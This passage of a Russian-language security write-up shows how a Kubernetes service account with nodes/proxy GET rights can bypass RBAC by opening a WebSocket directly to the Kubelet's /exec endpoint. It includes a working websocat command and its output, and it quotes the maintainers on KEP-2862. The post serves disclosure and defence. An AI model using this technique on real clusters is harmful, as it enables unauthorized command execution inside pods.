    "message": "nodes \"minikube-m02\" is forbidden: User \"system:serviceaccount:default:attacker\" cannot create resource \"nodes/proxy\" in API group \"\" at the cluster scope",
    "reason": "Forbidden",
    "details": {
        "name": "minikube-m02",
        "kind": "nodes"
    },
    "code": 403
}

Как и ожидалось, ответ — 403 Forbidden. API-сервер корректно сопоставляет POST-запрос с RBAC-глаголом CREATE, которого у нас нет, и проверка не проходит.

Теперь попробуем выполнить команду hostname в том же Pod’е, подключившись напрямую к Kubelet’у через WebSockets. Помним: WebSockets использует HTTP GET для начального рукопожатия:

websocat \
  --insecure \
  --header "Authorization: Bearer $TOKEN" \
  --protocol "v4.channel.k8s.io" \
  "wss://$NODE_IP:10250/exec/default/nginx/nginx?output=1&error=1&command=hostname"
nginx
{"metadata":{},"status":"Success"}

Команда выполнилась успешно. Подключившись напрямую к Kubelet’у через WebSockets, мы обошли авторизацию, которая заблокировала нас через API-сервер. Одна и та же операция нацелена на один и тот же Kubelet-эндпоинт (путь через прокси API-сервера просто проксирует запрос к Kubelet’у), но приводит к разным решениям об авторизации.

Если GET и CREATE оба разрешают выполнение команд, различие между глаголами теряет смысл. Ценность RBAC состоит именно в разграничении операций чтения и записи.

3. KEP-2862 не устраняет уязвимость

«Мы по-прежнему уверены, что KEP-2862 (Fine-Grained Kubelet API Authorization) является правильным архитектурным решением. Вместо изменения грубозернистой авторизации nodes/proxy наша цель — сделать её устаревшей для агентов мониторинга… Мы выделили read-only эндпоинты (/configz /healthz /pods) и оставили эндпоинты выполнения кода (/attach /exec /run) как группу, поскольку у нас нет сценария использования, где имело бы смысл иметь доступ только к одному из них.»

© 2026 meganuke